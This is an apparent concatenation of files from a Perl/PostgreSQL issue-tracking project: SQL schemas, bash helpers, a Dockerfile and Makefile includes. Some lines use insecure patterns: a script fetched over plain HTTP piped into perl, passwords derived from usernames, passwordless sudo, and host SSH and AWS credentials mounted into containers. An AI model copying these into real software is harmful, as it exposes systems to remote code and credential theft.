--The trigger: CREATE TRIGGER trg_set_update_time_on_category BEFORE UPDATE ON category FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'category'::regclass; <file_sep>#------------------------------------------------------------------------------ # usage example: # source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh # do_flush_screen #------------------------------------------------------------------------------ do_flush_screen(){ printf "\033[2J";printf "\033[0;0H" } <file_sep>-- call by: psql -d dev_qto -v PROCEDURE_NAME=func_fnc_get_all_app_user_roles < src/sql/pgsql/scripts/meta/show-procedure-definition.sql SELECT p.proname AS procedure_name, -- p.pronargs AS num_args, -- t1.typname AS return_type, -- a.rolname AS procedure_owner, -- l.lanname AS language_type, -- p.proargtypes AS argument_types_oids, prosrc AS body FROM pg_proc p LEFT JOIN pg_type t1 ON p.prorettype=t1.oid LEFT JOIN pg_authid a ON p.proowner=a.oid LEFT JOIN pg_language l ON p.prolang=l.oid -- WHERE proname = ':PROCEDURE_NAME' -- nope --WHERE proname like 'func%' WHERE proname = 'func_fnc_get_all_app_user_roles' --ok ; <file_sep>#!/bin/bash do_chk_provision_postgres(){ do_export_json_section_vars $PRODUCT_DIR/cnf/env/$ENV.env.json '.env.db' # doScrambleConfs # because well they were taken from public git repo psql_cnf_dir='/etc/postgresql/12/main' ; sudo mkdir -p "$psql_cnf_dir" set +e echo "$postgres_rdbms_usr:$postgres_rdbms_usr_pw" | chpasswd echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' | sudo tee -a /var/lib/postgresql/.bashrc sudo /etc/init.d/postgresql restart sudo -Hiu postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "uuid-ossp";' sudo -Hiu postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "pgcrypto";' sudo -Hiu postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "dblink";' test -f $psql_cnf_dir/pg_hba.conf && \ sudo cp -v $psql_cnf_dir/pg_hba.conf $psql_cnf_dir/pg_hba.conf.orig.bak && \ sudo cp -v $PRODUCT_DIR/cnf/postgres/$psql_cnf_dir/pg_hba.conf $psql_cnf_dir/pg_hba.conf && \ sudo chown postgres:postgres $psql_cnf_dir test -f $psql_cnf_dir/postgresql.conf && \ sudo cp -v $psql_cnf_dir/postgresql.conf $psql_cnf_dir/postgresql.conf.orig && \ sudo cp -v $PRODUCT_DIR/cnf/postgres/$psql_cnf_dir/postgresql.conf $psql_cnf_dir/postgresql.conf sudo chown -R postgres:postgres "/etc/postgresql" && \ sudo chown -R postgres:postgres "/var/lib/postgresql" && \ sudo chown -R postgres:postgres "$psql_cnf_dir/pg_hba.conf" && \ sudo chown -R postgres:postgres "$psql_cnf_dir/postgresql.conf" sudo /etc/init.d/postgresql restart expect <<- EOF_EXPECT set timeout -1 spawn sudo -u $postgres_rdbms_usr psql --port $postgres_rdbms_port -c "\\\password" expect "Enter new password: " send -- "$postgres_rdbms_usr_pw\r" expect "Enter it again: " send -- "$postgres_rdbms_usr_pw\r" expect eof EOF_EXPECT } <file_sep> ---- DROP TABLE IF EXISTS check_lists ; SELECT 'create the "check_lists" table' ; CREATE TABLE check_lists ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , prio integer NOT NULL DEFAULT 0 , status varchar (20) NOT NULL DEFAULT 'status?!...' , owner varchar (30) NOT NULL DEFAULT 'kuka?!...' , name varchar (200) NOT NULL DEFAULT 'mikä?..' , description varchar (4000) , type varchar (30) DEFAULT 'laji/tyyppi?...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_check_lists_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_check_lists_id on check_lists (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.check_lists'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'check_lists'::regclass; <file_sep>#v1.0.7 #------------------------------------------------------------------------------ # prints the usage of this script #------------------------------------------------------------------------------ doPrintUsage(){ source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh do_flush_screen while read -r f ; do acts="${acts:-} "$(echo `basename $f`| perl -ne 's/^(.*?)\.func.sh$/$1/g;print') ; done < <(ls -1 src/bash/$RUN_UNIT/funcs/*.func.sh) test_script=$(dirname $0)"/$RUN_UNIT.sh" do_flush_screen cat << EOF_USAGE | tee -a $log_file ------------------------------------------------------------------------ -- the main shell entry point of the $RUN_UNIT -- ------------------------------------------------------------------------ Purpose: $RUN_UNIT - the main shell entry point for the $RUN_UNIT Usage: $0 -a <<action-name-01>> -a <<ation-name-02>> -a <<action-name-03>> where <<action-name> is one of the following: $acts Qto CAN run against different qto projects : source lib/bash/funcs/export-json-section-vars.sh ; do_export_json_section_vars <<some-dir>>/cnf/env/dev.env.json '.env.db' bash $0 -a to-tst bash $0 -a to-dev bash $0 -a to-prd bash $0 -a to-ver=1.0.5 bash $0 -a to-app=<<new_app_name>> ------------------------------------------------------------------------ EOF_USAGE cat <<END_HELP # ## STOP --- USAGE `basename $0` #------------------------------------------------------------------------------ END_HELP } #eof func doPrintUsage <file_sep> ---- DROP TABLE IF EXISTS test_truncate_table ; SELECT 'create the "test_truncate_table" table' ; CREATE TABLE test_truncate_table ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (200) default 'name ...' , description varchar (4000) default 'desc ...' , CONSTRAINT pk_test_truncate_table_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.test_truncate_table'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; <file_sep># src/bash/qto/funcs/run-data-load-tests.help.sh # v1.0.9 # --------------------------------------------------------- # show the help for this shell action # --------------------------------------------------------- doHelpRunDataLoadTests(){ do_log "DEBUG START doHelpRunDataLoadTests" cat doc/txt/qto/funcs/run-data-load-tests.func.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpRunDataLoadTests" } # eof func doHelpRunDataLoadTests # eof file: src/bash/qto/funcs/run-data-load-tests.help.sh <file_sep>-- credit & src: https://stackoverflow.com/a/42108936/65706 -- docs & usage @end /* SELECT grantee, privilege_type FROM information_schema.role_table_grants WHERE table_name='foobar' ; */ select a.tablename , b.usename , HAS_TABLE_PRIVILEGE(usename,tablename, 'select') as select , HAS_TABLE_PRIVILEGE(usename,tablename, 'insert') as insert , HAS_TABLE_PRIVILEGE(usename,tablename, 'update') as update , HAS_TABLE_PRIVILEGE(usename,tablename, 'delete') as delete , HAS_TABLE_PRIVILEGE(usename,tablename, 'references') as references FROM pg_tables a , pg_user b where a.tablename='monthly_issues' ; /* usage: psql -d $postgres_app_db < src/sql/pgsql/scripts/check-postgres-tables-permissions.sql */ <file_sep># # usage: include it in your Makefile # include <<file-path>> # # usage: # make zip_me # .ONESHELL: # Applies to every targets in the file! .PHONY: zip_me ## @-> zip the whole project without the .git dir zip_me: @clear -rm -v ../$(PRODUCT).zip ; zip -r ../$(PRODUCT).zip . -x '*.git*' @sleep 1 @clear @echo done check @echo $(PWD)/../$(PRODUCT).zip<file_sep>#!/bin/bash encrypt_pass(){ echo "$1"| perl -ne '$_=crypt($_,$_); s/[#\-%&\$*+()\/]//g; print substr (sprintf("%s%s", $_ , "12?"), 7, 9, "")' } c=10 while read -r user; do c=$((c+1)) uid=$((1000+$c)) echo runnnig sudo useradd -m -d "/home/$user" -s /bin/bash -c "$user" -u $uid -g 1000 $user set -x sudo useradd -m -d "/home/$user" -s /bin/bash -c "$user" -u $uid -g 1000 $user pass=$(encrypt_pass $user) sudo bash -c "echo $user:$pass | chpasswd" #echo and verify sudo cat /etc/passwd | grep --color=always "$user" echo "done creating :" echo "user: $user" echo "pass: $pass" done < <(echo "$@"|tr ' ' "\n") <file_sep>CREATE OR REPLACE FUNCTION "fnc_set_update_time" () RETURNS trigger AS ' BEGIN NEW.update_time = DATE_TRUNC(''second'', NOW()); RETURN NEW; END;' LANGUAGE "plpgsql"; SELECT 'fnc_set_update_time exists is ' || exists(SELECT * FROM pg_proc WHERE proname='fnc_set_update_time') ;<file_sep>-- clear from data TRUNCATE TABLE rep_userstories_doc; -- copy selected columns from userstories_doc, only when status is set INSERT INTO rep_userstories_doc (guid,id,status,prio,name,description,update_time) SELECT guid,id,status,prio,name,description,update_time FROM userstories_doc WHERE 1=1 AND status!='status...'; -- make 03-wip standard instead of 03-act and 03-active UPDATE rep_userstories_doc SET status='03-wip' WHERE status ILIKE '03-a%';<file_sep># src/bash/qto/funcs/remove-package-files.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpRemovePackageFiles comments ... # --------------------------------------------------------- doHelpRemovePackageFiles(){ do_log "DEBUG START doHelpRemovePackageFiles" cat doc/txt/qto/helps/remove-package-files.help.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpRemovePackageFiles" } # eof func doHelpRemovePackageFiles # eof file: src/bash/qto/funcs/remove-package-files.help.sh <file_sep>-- DROP TABLE IF EXISTS questions_status ; SELECT 'create the "questions_status" table' ; CREATE TABLE questions_status ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (100) NOT NULL DEFAULT 'name...' , description varchar (4000) , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_questions_status_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_questions_status_id on questions_status (id); -- the rank search index CREATE INDEX idx_rank_questions_status ON questions_status USING gin(to_tsvector('English', name || ' ' || description || 'owner')); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.questions_status'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; -- Data for Name: questions_status; Type: TABLE DATA; Schema: public; Owner: usrdevqtoadmin -- COPY public.questions_status (guid, id, name, description, update_time) FROM stdin; cb989a14-d0b8-46e4-b2cc-5e2a974b5d29 200226071624 01-eval The question is being evaluated 2020-02-26 07:16:45 94ae9eac-e6df-4193-9d36-a527d5897292 200226092430 02-todo The questions has to be done 2020-02-26 07:17:02 d0b9476b-7eb0-4045-b172-91c8635859d0 200226092448 03-wip The question is in Work in Progress 2020-02-26 07:17:16 652ccaad-89a4-4e5e-bb1b-6859ab3472f4 200226092506 04-diss The must be discarded 2020-02-26 07:17:36 a9224b60-506a-457c-8303-27345b5a5a09 200226092521 05-tst The question is being tested 2020-02-26 07:17:48 9594f01f-92ef-48da-9319-57792ac8142f 200226092532 06-onhold The question has been put on hold 2020-02-26 07:17:59 a45ee85b-570c-4661-b8f4-cd39f5d5ff76 200226092543 07-qas The questions is being tested for quality 2020-02-26 07:18:16 91ecf204-43d5-4ac5-aa5f-f1a0eee1ad53 200226092559 08-post The question is being postponed for completion in later point of time 2020-02-26 07:18:56 e486d2d7-0789-4af2-8466-9b8c03743d85 200226092640 09-done The question has been done 2020-02-26 07:19:08 c36ac35d-d010-41ce-84f0-31ba5d808aa8 200226093618 03-act The questions is being actively worked on 2020-02-26 07:30:54 \. --The trigger: CREATE TRIGGER trg_set_update_time_on_questions_status BEFORE UPDATE ON questions_status FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'questions_status'::regclass; <file_sep># src/bash/qto/funcs/remove-package.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpRemovePackage comments ... # --------------------------------------------------------- doHelpRemovePackage(){ do_log "DEBUG START doHelpRemovePackage" cat doc/txt/qto/helps/remove-package.help.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpRemovePackage" } # eof func doHelpRemovePackage # eof file: src/bash/qto/funcs/remove-package.help.sh <file_sep># src/bash/qto/funcs/run-functional-tests.func.sh # --------------------------------------------------------- # implement the calls to all the functional tests # --------------------------------------------------------- doRunFunctionalTests(){ export QTO_NO_AUTH=1 test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" # do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.db' do_log "INFO START testing controllers" while read -r f ; do do_log "INFO START functional test for $f" perl $f ; test $? -ne 0 && do_exit $? " the tests in the $f failed !!!" do_log "INFO STOP functional test for $f" sleep 1 do_flush_screen done < <(find src/perl/qto/t/lib/Qto/Controller -type f -name '*.t' |sort) export QTO_NO_AUTH=0 } <file_sep>#!/usr/bin/env bash set -x echo from install-test PRODUCT_DIR: $PRODUCT_DIR echo from install-test hostname $host_host_name <file_sep>find_me(){ to_srch=$1 find src -type f -exec grep -nHi --color=always "$to_srch" {} \; | less -R } <file_sep>-- DROP TABLE IF EXISTS problems_status ; SELECT 'create the "problems_status" table' ; CREATE TABLE problems_status ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (100) NOT NULL DEFAULT 'name...' , description varchar (4000) , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_problems_status_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_problems_status_id on problems_status (id); -- the rank search index CREATE INDEX idx_rank_problems_status ON problems_status USING gin(to_tsvector('English', name || ' ' || description || 'owner')); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.problems_status'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; -- Data for Name: problems_status; Type: TABLE DATA; Schema: public; Owner: usrdevqtoadmin -- COPY public.problems_status (guid, id, name, description, update_time) FROM stdin; cb989a14-d0b8-46e4-b2cc-5e2a974b5d29 200226071624 01-eval The problem is being evaluated 2020-02-26 07:16:45 94ae9eac-e6df-4193-9d36-a527d5897292 200226092430 02-todo The problems has to be done 2020-02-26 07:17:02 d0b9476b-7eb0-4045-b172-91c8635859d0 200226092448 03-wip The problem is in Work in Progress 2020-02-26 07:17:16 652ccaad-89a4-4e5e-bb1b-6859ab3472f4 200226092506 04-diss The must be discarded 2020-02-26 07:17:36 a9224b60-506a-457c-8303-27345b5a5a09 200226092521 05-tst The problem is being tested 2020-02-26 07:17:48 9594f01f-92ef-48da-9319-57792ac8142f 200226092532 06-onhold The problem has been put on hold 2020-02-26 07:17:59 a45ee85b-570c-4661-b8f4-cd39f5d5ff76 200226092543 07-qas The problems is being tested for quality 2020-02-26 07:18:16 91ecf204-43d5-4ac5-aa5f-f1a0eee1ad53 200226092559 08-post The problem is being postponed for completion in later point of time 2020-02-26 07:18:56 e486d2d7-0789-4af2-8466-9b8c03743d85 200226092640 09-done The problem has been done 2020-02-26 07:19:08 c36ac35d-d010-41ce-84f0-31ba5d808aa8 200226093618 03-act The problems is being actively worked on 2020-02-26 07:30:54 \. --The trigger: CREATE TRIGGER trg_set_update_time_on_problems_status BEFORE UPDATE ON problems_status FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'problems_status'::regclass; <file_sep># src/bash/qto/funcs/clone-project.func.sh # v1.0.9 # --------------------------------------------------------- # cat doc/txt/qto/funcs/clone-project.func.txt # --------------------------------------------------------- doCloneProject(){ do_log "DEBUG START doCloneProject" sleep "$sleep_interval" # doc/txt/qto/spec/clone-project.spec.txt export src_proj='ysg-issues' export tgt_proj='phz' export global_cnf_dir='/vagrant/csitea/cnf/projects/qto' # load the src project configuration file doParseIniEnvVars "$global_cnf_dir"'/'"$src_proj"".prd.host-name.cnf" # go to the ysg projects daily data root dir cd $mix_data_dir # define yesterday export tgt_date=$(date --date="-1 day" "+%Y-%m-%d") # create a zip package of the yester-day day while read -r f ; do zip $tgt_date.zip $f ; \ done < <(find "$(date "+%Y" -d "$tgt_date")"'/'$(date "+%Y-%m" -d "$tgt_date")/$(date "+%Y-%m-%d" -d "$tgt_date")) # load the newly defined cloned project dir doParseIniEnvVars "$global_cnf_dir"'/'"$tgt_proj"".prd.host-name.cnf" # create the new projects daily data root dir mkdir -p $mix_data_dir export dir_to_morph=$mix_data_dir # unzip the yesterday daily dir for the new project unzip -o $tgt_date.zip -d $mix_data_dir/ # go back to the product instance dir cd - # morph the dir export to_srch=$src_proj export to_repl=$tgt_proj bash src/bash/qto/qto.sh -a morph-dir # start working again on the project to be cloned doParseIniEnvVars "$global_cnf_dir"'/'"$tgt_proj"".prd.host-name.cnf" # and increase the dat bash src/bash/qto/qto.sh -a increase-date -d today do_log "DEBUG STOP doCloneProject" } # eof func doCloneProject # eof file: src/bash/qto/funcs/clone-project.func.sh <file_sep>#!/bin/bash do_fix_db_permissions(){ do_setup_db_roles test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z $PROJ_CONF_FILE && PROJ_CONF_FILE=$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json do_export_json_section_vars $PROJ_CONF_FILE '.env.db' do_log "INFO using PROJ_INSTANCE_DIR: $PROJ_INSTANCE_DIR" ; do_log "INFO using PROJ_CONF_FILE: $PROJ_CONF_FILE" cd /tmp sudo -u postgres PGPASSWORD=$postgres_usr_pw psql --port $postgres_rdbms_port --host $postgres_rdbms_host -c " grant all privileges on database $postgres_app_db to $postgres_sys_usr_admin" ; sudo -u postgres PGPASSWORD=$postgres_usr_pw psql --port $postgres_rdbms_port \ --host $postgres_rdbms_host -d $postgres_app_db -c " ALTER USER $postgres_app_usr WITH PASSWORD '"$<PASSWORD>"'"; PGPASSWORD=$postgres_sys_usr_admin_pw psql -U "${postgres_sys_usr_admin:-}" \ --host $postgres_rdbms_host --port $postgres_rdbms_port -d "$postgres_app_db" \ -c " GRANT SELECT,INSERT,UPDATE,DELETE,TRUNCATE ON ALL TABLES IN SCHEMA public TO $postgres_app_usr; GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO $postgres_app_usr" sudo -u postgres PGPASSWORD=$postgres_usr_pw psql \ --port $postgres_rdbms_port --host $postgres_rdbms_host -d "$postgres_app_db" -c \ "GRANT SELECT,INSERT,UPDATE,DELETE,TRUNCATE ON ALL TABLES IN SCHEMA public TO $postgres_app_usr; GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO $postgres_app_usr" sudo -u postgres PGPASSWORD=$postgres_usr_pw psql \ --port $postgres_rdbms_port --host $postgres_rdbms_host -d "$postgres_app_db" -c \ "GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO $postgres_app_usr" cd - } <file_sep>#!/usr/bin/env bash # source & courtesy of: # https://github.com/mislav/dotfiles/blob/master/bin/tmux-session # TODO: persist and restore_tmux_session the state & position of panes. doTestRestoreTmuxSession(){ doCheckTmuxIsInstalled tmux start-server local count=0 local dimensions="$(terminal_size)" while IFS=$'\t' read session_name window_name dir; do if [[ -d "$dir" && $window_name != "log" && $window_name != "man" ]]; then if session_exists "$session_name"; then add_window "$session_name" "$window_name" "$dir" else new_tmux_session "$session_name" "$window_name" "$dir" "$dimensions" count=$(( count + 1 )) fi fi done < ~/.tmux-session do_log "restore_tmux_sessiond $count sessions" tmux list-sessions | column -t | sort } #eof test doRestoreTmuxSession <file_sep>-- how-to move issues from one time frame to another INSERT INTO monthly_issues (guid,id,prio,status,category,name,description,type,owner,update_time ) SELECT guid,id,prio,status,category,name,description,type,owner,update_time FROM release_issues WHERE 1=1 AND status='09-done' ON CONFLICT (id) DO UPDATE SET guid = excluded.guid ,id = excluded.id ,prio = excluded.prio ,status = excluded.status ,category = excluded.category ,name = excluded.name ,description = excluded.description ,type = excluded.type ,owner = excluded.owner ,update_time = excluded.update_time ; INSERT INTO yearly_issues (guid,id,prio,status,category,name,description,type,owner,update_time ) SELECT guid,id,prio,status,category,name,description,type,owner,update_time FROM monthly_issues WHERE 1=1 AND status='09-done' ON CONFLICT (id) DO UPDATE SET guid = excluded.guid ,id = excluded.id ,prio = excluded.prio ,status = excluded.status ,category = excluded.category ,name = excluded.name ,description = excluded.description ,type = excluded.type ,owner = excluded.owner ,update_time = excluded.update_time ; -- and then delete them from the source table DELETE FROM release_issues WHERE 1=1 AND status='09-done' ; SELECT column_name FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'monthly_issues' ; INSERT INTO daily_issues SELECT * FROM monthly_issues WHERE status = '02-todo-copy-to-daily' ; UPDATE daily_issues set status = '02-todo' where status = '02-todo-copy-to-daily' ; <file_sep>place the src of your qto / apps below this dir. Note the run-time subdirs ... <file_sep>-- DROP TABLE IF EXISTS contacts ; SELECT 'create the "contacts" table' ; CREATE TABLE contacts ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (100) NOT NULL DEFAULT 'name...' , email varchar (60) NOT NULL DEFAULT 'email' , mobile varchar (30) NOT NULL DEFAULT 'mobile' , description varchar (4000) , organisation varchar (50) NOT NULL DEFAULT 'organisation' , first_name varchar (50) NOT NULL DEFAULT 'first_name...' , last_name varchar (50) NOT NULL DEFAULT 'last_name...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_contacts_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_contacts_id on contacts (id); -- the rank search index CREATE INDEX idx_rank_contacts ON contacts USING gin(to_tsvector('English', name || ' ' || description || 'owner')); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.contacts'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_contacts BEFORE UPDATE ON contacts FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'contacts'::regclass; <file_sep>FROM alpine # based on alpine-perl of: https://github.com/krumeich ARG ENV ARG UID ARG GID ARG PRODUCT ARG ORG ENV PRODUCT=$PRODUCT ENV ORG=$ORG ENV APPUSR=appusr ENV APPGRP=appgrp ENV PS1='`date "+%F %T"` \u@\h \w \n\n ' ENV PRODUCT_DIR="/opt/$PRODUCT" ENV EDITOR="vim" ENV ENV=$ENV VOLUME $PRODUCT_DIR # install OS utils RUN apk update && apk upgrade && apk add --no-cache \ bash binutils vim jq wget curl zip unzip tar busybox-extras su-exec sudo shadow # install build utils && backend-utils # gnupg is needed for Module::Signature. RUN apk update && apk upgrade && apk add --no-cache \ build-base make gcc openssl-dev libmagic ttf-freefont gnupg libpq libpq-dev # start ::: adding OS APPUSR and APPGRP RUN test -z $(getent group $GID | cut -d: -f1) || \ groupmod -g $((GID+1000)) $(getent group $GID | cut -d: -f1) # create a APPGRP and APPUSR RUN set -x ; addgroup -g "$GID" -S "$APPGRP" && \ adduser \ --disabled-password \ -g "$GID" \ -D \ -s "/bin/bash" \ -h "/home/$APPUSR" \ -u "$UID" \ -G "$APPGRP" "$APPUSR" && exit 0 ; exit 1 RUN echo "$APPUSR ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers # stop ::: adding OS APPUSR and APPGRP RUN mkdir -p /usr/src/perl WORKDIR /usr/src/perl ## from perl; `true make test_harness` because 3 tests fail ## some flags from http://git.alpinelinux.org/cgit/aports/tree/main/perl/APKBUILD?id=19b23f225d6e4f25330e13144c7bf6c01e624656 RUN curl -SLO https://www.cpan.org/src/5.0/perl-5.32.0.tar.gz \ && echo 'ddecb3117c016418b19ed3a8827e4b521b47d6bb *perl-5.32.0.tar.gz' | sha1sum -c - \ && tar --strip-components=1 -xzf perl-5.32.0.tar.gz -C /usr/src/perl \ && rm perl-5.32.0.tar.gz \ && ./Configure -des \ -Duse64bitall \ -Dcccdlflags='-fPIC' \ -Dcccdlflags='-fPIC' \ -Dccdlflags='-rdynamic' \ -Dlocincpth=' ' \ -Duselargefiles \ -Dusethreads \ -Duseshrplib \ -Dd_semctl_semun \ -Dusenm \ && make libperl.so \ && make -j$(nproc) \ && TEST_JOBS=$(nproc) make test_harness \ && make install \ && curl -LO https://raw.githubusercontent.com/miyagawa/cpanminus/master/cpanm \ && chmod +x cpanm \ && ./cpanm App::cpanminus \ && rm -fr ./cpanm /root/.cpanm /usr/src/perl ## from tianon/perl ENV PERL_CPANM_OPT --verbose --mirror https://cpan.metacpan.org --mirror-only RUN cpanm Digest::SHA Module::Signature && \ cpanm local::lib && \ rm -rf ~/.cpanm ENV PERL_CPANM_OPT $PERL_CPANM_OPT --verify RUN echo "export PS1=\"$PS1\"" >> /home/$APPUSR/.bashrc && \ chown -R $APPUSR:$APPGRP /home/$APPUSR && \ chmod -R 0775 /home/$APPUSR ADD --chown=$APPUSR:$APPGRP "." /home/$APPUSR$PRODUCT_DIR # switch to the app user USER $APPUSR # stop ::: adding OS APPUSR and APPGRP WORKDIR $PRODUCT_DIR # Note: using $APPUSR/$PRODUCT_DIR will result in /home/appusr//opt/product/r # ~~~^^^~~~ RUN bash /home/$APPUSR$PRODUCT_DIR/run -a do_alpine_chk_install_perl_modules CMD exec /bin/bash -c /home/$APPUSR$PRODUCT_DIR/src/bash/run/docker-init-app.sh <file_sep>#!/usr/bin/env bash # start install perl modules wget - http://cpanmin.us | perl - --self-upgrade # src: http://stackoverflow.com/a/13090364/65706src: # echo y|cpan # echo o conf prerequisites_policy follow | cpan # echo o conf commit | cpan #bash -c " -s 'curl -L cpanmin.us | perl - Mojolicious'" # cpan Mojolicious # stop install perl modules <file_sep># src/bash/qto/funcs/remove-package-files.func.sh # v1.0.9 # --------------------------------------------------------- # todo: add doRemovePackageFiles comments ... # --------------------------------------------------------- doRemovePackageFiles(){ do_log "DEBUG START doRemovePackageFiles" cat doc/txt/qto/funcs/remove-package-files.func.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doRemovePackageFiles" } # eof func doRemovePackageFiles # eof file: src/bash/qto/funcs/remove-package-files.func.sh <file_sep># --------------------------------------------------------- # create a new <<env-type>> from this product instance # bash src/bash/qto/qto.sh -a to-dev # bash src/bash/qto/qto.sh -a to-tst # bash src/bash/qto/qto.sh -a to-prd # --------------------------------------------------------- doChangeEnvType(){ tgt_env="${1:-}" prefix='to-env=' tgt_env=${tgt_env#$prefix} tgt_environment_name=$(echo $environment_name | perl -ne "s/$ENV/$tgt_env/g;print") tgt_PRODUCT_DIR=$product_dir/$tgt_environment_name test "$tgt_env" == "$ENV" && return # remove everything from the tgt product version dir - no extra files allowed !!! mkdir -p $tgt_PRODUCT_DIR && test -d $tgt_PRODUCT_DIR && \ mv -v $tgt_PRODUCT_DIR $tgt_PRODUCT_DIR.$(date "+%Y%m%d_%H%M%S") test $? -eq 0 || do_exit 1 "cannot write to $tgt_PRODUCT_DIR !" mkdir -p $tgt_PRODUCT_DIR test $? -ne 0 && do_exit 1 "Failed to create $tgt_PRODUCT_DIR !" doCreateRelativePackage unzip -o $zip_file -d $tgt_PRODUCT_DIR cp -v $zip_file $tgt_PRODUCT_DIR perl -pi -e 's|'$ENV'|'$tgt_env'|g' $tgt_PRODUCT_DIR/.env cd $tgt_PRODUCT_DIR ln -sf `pwd`/src/bash/qto/qto.sh qto ln -sf `pwd`/src/perl/qto/script/qto.pl qto.pl cd - } <file_sep># # usage: include it in your Makefile # include lib/make/build-img-func.mk # # # function usage example: # # install-web-node: # $(call install-img,web-node,80) include lib/make/demand-var.func.mk include lib/make/stop-img-containers.func.mk define install-img @clear $(call demand-var,ORG) $(call demand-var,APP) $(call demand-var,ENV) @PORT_COMMAND=`[[ "${2}" == "" ]] || echo "--publish ${2}:${2}"` @NO_CACHE=`[[ "${3}" == "" ]] || echo "--no-cache"` docker build . -t ${product}-$(1)-img $${NO_CACHE}\ --build-arg UID=$(shell id -u) \ --build-arg GID=$(shell id -g) \ --build-arg ORG=$(ORG) \ --build-arg APP=$(APP) \ --build-arg ENV=$(ENV) \ --build-arg PRODUCT=${PRODUCT} \ -f src/docker/$(1)/Dockerfile $(call uninstall-img,$1) docker run -it -d --restart=always $${PORT_COMMAND}\ -v $$(pwd):/opt/${PRODUCT} \ -v $$HOME/.aws:/home/appusr/.aws \ -v $$HOME/.ssh:/home/appgrp/.ssh $${PORT_COMMAND}\ --name ${product}-$(1)-con ${product}-${1}-img ; @echo -e to attach run: "\ndocker exec -it ${product}-${1}-con /bin/bash" @echo -e to get help run: "\ndocker exec -it ${product}-${1}-con ./run --help" endef <file_sep># src/bash/qto/funcs/run-data-load-tests.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestRunDataLoadTests comments ... # --------------------------------------------------------- doTestRunDataLoadTests(){ do_log "DEBUG START doTestRunDataLoadTests" sleep "$sleep_interval" # Action !!! clear ; bash src/bash/qto/qto.sh -a run-data-load-tests do_log "DEBUG STOP doTestRunDataLoadTests" } # eof func doTestRunDataLoadTests # eof file: src/bash/qto/funcs/run-data-load-tests.test.sh <file_sep>#!/usr/bin/env bash # file: src/bash/qto/install-prerequisites-on-ubuntu.sh # caveat package names are for 